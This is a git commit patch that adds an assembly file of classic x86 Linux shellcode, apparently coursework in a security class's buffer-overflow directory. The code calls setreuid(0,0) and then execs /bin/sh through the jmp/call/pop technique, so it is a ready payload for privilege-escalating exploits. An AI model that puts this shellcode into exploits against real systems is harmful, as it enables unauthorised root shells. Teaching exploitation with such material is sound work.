From 45ec0c7e1bfd251e13f4d3ade89785e98df31ba9 Mon Sep 17 00:00:00 2001
From: Guillermo Ramos
Date: Mon, 27 May 2013 00:07:01 +0200
Subject: start

---
 c_seguridad/code/bof/shellex.asm | 25 +++++++++++++++++++++++++
 1 file changed, 25 insertions(+)
 create mode 100644 c_seguridad/code/bof/shellex.asm

(limited to 'c_seguridad/code/bof/shellex.asm')

diff --git a/c_seguridad/code/bof/shellex.asm b/c_seguridad/code/bof/shellex.asm
new file mode 100644
index 0000000..00968ea
--- /dev/null
+++ b/c_seguridad/code/bof/shellex.asm
@@ -0,0 +1,25 @@
+SECTION .text
+global _start
+_start:
+	xor		eax, eax
+	mov		al, 70
+	xor		ebx, ebx
+	xor		ecx, ecx
+	int		0x80
+
+	jmp short ender
+
+starter:
+	xor		eax, eax
+	pop		ebx
+	mov		[ebx+7], al
+	mov		[ebx+8], ebx
+	mov		[ebx+12], eax
+	mov		al, 11
+	lea		ecx, [ebx+8]
+	lea		edx, [ebx+12]
+	int		0x80
+
+ender:
+	call starter
+	db "/bin/shNAAAABBBB"
-- 
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